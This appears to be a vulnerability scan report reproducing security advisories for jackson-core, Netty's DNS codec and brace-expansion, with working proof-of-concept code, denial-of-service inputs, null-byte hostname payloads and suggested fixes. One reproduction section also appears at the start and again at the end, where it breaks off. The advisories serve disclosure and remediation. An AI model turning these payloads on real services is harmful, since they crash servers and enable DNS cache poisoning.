End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.

Setup:

  • Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
  • jackson-databind 2.17.2, jackson-core overridden:
    • VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
    • PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
  • JVM: OpenJDK 17.0.18
  • Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@<!-- -->RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.

Side-by-side:

Build Chunks accepted before exception Digits buffered Time to detection
jackson-core 2.18.7 250 (full payload) 50,000 (50x the configured limit) 6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch) 5 1,001 155ms — moment threshold crossed

Note on the default @<!-- -->RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @<!-- -->RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

Reported by tonghuaroot (tonghuaroot@<!-- -->gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-dns 4.1.130.Final (maven)

pkg:maven/io.netty/netty-codec-dns@4.1.130.Final

high 7.5: CVE--2026--42579 Improper Input Validation

Affected range<=4.1.132.Final
Fixed version4.1.133.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.969%
EPSS Percentile58th percentile
Description

Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-dns)
Component io.netty.handler.codec.dns.DnsCodecUtil
Vulnerability Type CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption
Impact DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets

2. Affected Components

Both the encoder and decoder in the same file are affected:

  • io.netty.handler.codec.dns.DnsCodecUtilencodeDomainName() method (lines 31-51):

    • No null byte validation in domain name labels
    • No per-label length validation (RFC 1035 max: 63 bytes)
    • No total domain name length validation (RFC 1035 max: 255 bytes)
    • Empty labels silently truncate the domain name
  • io.netty.handler.codec.dns.DnsCodecUtildecodeDomainName() method (lines 53-118):

    • No per-label length validation (max 63)
    • No total domain name length validation (max 255)
    • Unbounded StringBuilder growth from attacker-controlled DNS responses

3. Vulnerability Description

Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.

3.1 Encoder Side — Null Byte Injection (CWE-626)

A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:

  • Java (full string): sees "evil\0.example.com" as a single label containing a null
  • C/native DNS libraries: truncate at the null byte, seeing only "evil"
  • DNS servers: may accept or reject based on implementation

This differential interpretation enables DNS cache poisoning and domain validation bypass.

3.2 Encoder Side — Overlength Label (RFC 1035 Violation)

Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:

  • A 200-byte label length 0xC8 would be interpreted as a compression pointer by standards-compliant DNS parsers
  • This creates parser confusion between label and pointer interpretation

3.3 Encoder Side — Silent Truncation via Empty Labels

encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!

An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.

3.4 Decoder Side — Unbounded Memory Allocation

The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.

Root Cause — Encoder

// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
    if (ROOT.equals(name)) {
        buf.writeByte(0);
        return;
    }
    final String[] labels = name.split("\\.");
    for (String label : labels) {
        final int labelLen = label.length();
        if (labelLen == 0) {
            break;  // NO ERROR - silently truncates!
        }
        // NO check: labelLen > 63
        // NO check: label contains null bytes
        // NO check: total name > 255 bytes
        buf.writeByte(labelLen);                    // Can write values > 63!
        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!
    }
    buf.writeByte(0);
}

Root Cause — Decoder

// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len <= 63
        throw new CorruptedFrameException("truncated label in a name");
    }
    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
    //    ^^^^^^ StringBuilder grows WITHOUT any length limit
    in.skipBytes(len);
}

Missing checks in decoder:

  • No if (len > 63) check per RFC 1035 Section 2.3.4
  • No if (name.length() > 255) check for total domain name length

4. Exploitability Prerequisites

Encoder Side (outbound)

  1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
  2. The constructed DNS packets are sent to DNS servers or resolvers

Decoder Side (inbound)

  1. An application uses Netty's codec-dns or resolver-dns module to process DNS responses
  2. The application communicates with a malicious or compromised DNS server

Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.

5. Attack Scenarios

Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)

String hostname = userInput;  // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
    .addRecord(DnsSection.QUESTION,
        new DefaultDnsQuestion(hostname, DnsRecordType.A));

The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.

Scenario 2: Label/Pointer Confusion (Encoder)

A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:

Byte:  [C8] [61 61 61 ... (200 bytes)]
         ↑
   Label interpretation: 200-byte label starting with 'a'
   Pointer interpretation: pointer to offset 0x0861 = 2145

Scenario 3: Memory Exhaustion via Large Labels (Decoder)

A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.

Scenario 4: Domain Truncation via Empty Label (Encoder)

encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped

This can bypass domain allowlists that check the input string.

Scenario 5: Downstream Processing Failures (Decoder)

Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.

6. Proof of Concept

PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;

public class DnsEncoderNullBytePoC {
    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");

        Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
        Method encode = clazz.getDeclaredMethod("encodeDomainName",
            String.class, ByteBuf.class);
        encode.setAccessible(true);

        // Test 1: Null byte in domain name
        ByteBuf buf = Unpooled.buffer(256);
        encode.invoke(null, "evil\0.example.com", buf);
        byte[] bytes = new byte[buf.readableBytes()];
        buf.readBytes(bytes);
        buf.release();
        System.out.print("[TEST 1] Null byte - Encoded: ");
        for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
        System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");

        // Test 2: 200-byte label
        ByteBuf buf2 = Unpooled.buffer(512);
        encode.invoke(null, "a".repeat(200) + ".com", buf2);
        System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
        System.out.println("VULNERABLE: Overlength label accepted!");
        buf2.release();

        // Test 3: Empty label truncation
        ByteBuf buf3 = Unpooled.buffer(256);
        encode.invoke(null, "a..b.com", buf3);
        byte[] bytes3 = new byte[buf3.readableBytes()];
        buf3.readBytes(bytes3);
        buf3.release();
        System.out.print("\n[TEST 3] Empty label - Encoded: ");
        for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
        System.out.println("\nVULNERABLE: Domain silently truncated!");
    }
}

PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;

public class DnsDecoderLengthPoC {
    public static void main(String[] args) throws Exception {
        System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");

        Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
        Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
        decode.setAccessible(true);

        // Test 1: 100-byte label (RFC limit: 63)
        ByteBuf buf1 = Unpooled.buffer(256);
        buf1.writeByte(100);
        buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
        buf1.writeByte(3);
        buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
        buf1.writeByte(0);
        String r1 = (String) decode.invoke(null, buf1);
        buf1.release();
        System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
            " VULNERABLE=" + (r1.length() > 64));

        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
        ByteBuf buf2 = Unpooled.buffer(512);
        for (int i = 0; i < 5; i++) {
            buf2.writeByte(60);
            buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
                .getBytes(StandardCharsets.US_ASCII));
        }
        buf2.writeByte(0);
        String r2 = (String) decode.invoke(null, buf2);
        buf2.release();
        System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
            " VULNERABLE=" + (r2.length() > 255));
    }
}

How to Compile and Run

JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC

# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

Encoder PoC:

=== Netty DNS Encoder Validation Bypass PoC ===

[TEST 1] Null byte in domain name
  Input: "evil\0.example.com"
  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
  Null byte in label data: true
  VULNERABLE: YES - Null byte accepted!

[TEST 2] Label > 63 bytes in encoder
  Input: "aaaaaa..." (200-char label)
  Encoded bytes: 206
  VULNERABLE: YES - Overlength label accepted in encoder!

[TEST 3] Empty labels (consecutive dots)
  Input: "a..b.com"
  Encoded bytes: 01 61 00
  Note: Empty label truncates the name (may lose data)

Decoder PoC:

=== Netty DNS Decoder Length Bypass PoC ===

[TEST 1] Label > 63 bytes (RFC 1035 violation)
  Label length: 100 bytes (RFC limit: 63)
  Decoded name length: 105
  VULNERABLE: YES - Label > 63 bytes accepted!

[TEST 2] Domain > 255 bytes via multiple labels
  5 labels x 60 bytes = 300+ bytes total
  RFC 1035 limit: 255 bytes
  Decoded name length: 305
  VULNERABLE: YES - Domain > 255 bytes accepted!

7. Impact Analysis

Impact Category Description
Integrity HIGH — Null byte injection causes differential interpretation across DNS implementations
Availability HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder
DNS Cache Poisoning Different parsers see different domain names from the same encoded packet
Domain Validation Bypass Null bytes can bypass allowlist/blocklist checks in DNS proxies
Label/Pointer Confusion Length bytes > 63 conflict with RFC 1035 compression pointer encoding
Silent Truncation Empty labels silently drop the remainder of the domain name
Downstream Failures Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries

8. Remediation Recommendations

Fix for Encoder (encodeDomainName)

static void encodeDomainName(String name, ByteBuf buf) {
    if (ROOT.equals(name)) {
        buf.writeByte(0);
        return;
    }
    int totalLength = 0;
    final String[] labels = name.split("\\.");
    for (String label : labels) {
        final int labelLen = label.length();
        if (labelLen == 0) {
            throw new IllegalArgumentException("DNS name contains empty label: " + name);
        }
        if (labelLen > 63) {
            throw new IllegalArgumentException(
                "DNS label length " + labelLen + " exceeds maximum of 63: " + name);
        }
        for (int i = 0; i < label.length(); i++) {
            if (label.charAt(i) == '\0') {
                throw new IllegalArgumentException(
                    "DNS label contains null byte at index " + i);
            }
        }
        totalLength += 1 + labelLen;
        if (totalLength > 254) {
            throw new IllegalArgumentException(
                "DNS name exceeds maximum length of 255: " + name);
        }
        buf.writeByte(labelLen);
        ByteBufUtil.writeAscii(buf, label);
    }
    buf.writeByte(0);
}

Fix for Decoder (decodeDomainName)

// Add after "} else if (len != 0) {":
if (len > 63) {
    throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
    throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}

9. Resources

critical: 0 high: 1 medium: 0 low: 0 brace-expansion 5.0.7 (npm)

pkg:npm/brace-expansion@5.0.7

high 7.5: CVE--2026--14257 Uncontrolled Resource Consumption

Affected range<=5.0.7
Fixed version5.0.8
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.339%
EPSS Percentile26th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.15.0 (maven)

pkg:maven/com.fasterxml.jackson.core/jackson-core@2.15.0

high 8.7: GHSA--r7wm--3cxj--wff9 Allocation of Resources Without Limits or Throttling

Affected range<2.18.8
Fixed version2.18.8
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

  • com.fasterxml.jackson.core:jackson-core 2.18.6
  • com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:

if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}

Site 2 — _finishNumberIntegralPart lines 1691-1727:

protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}

Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.

Setup:

  • Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
  • jackson-databind 2.17.2, jackson-core overridden:
    • VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
    • PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
  • JVM: OpenJDK 17.0.18
  • Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@<!-- -->RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
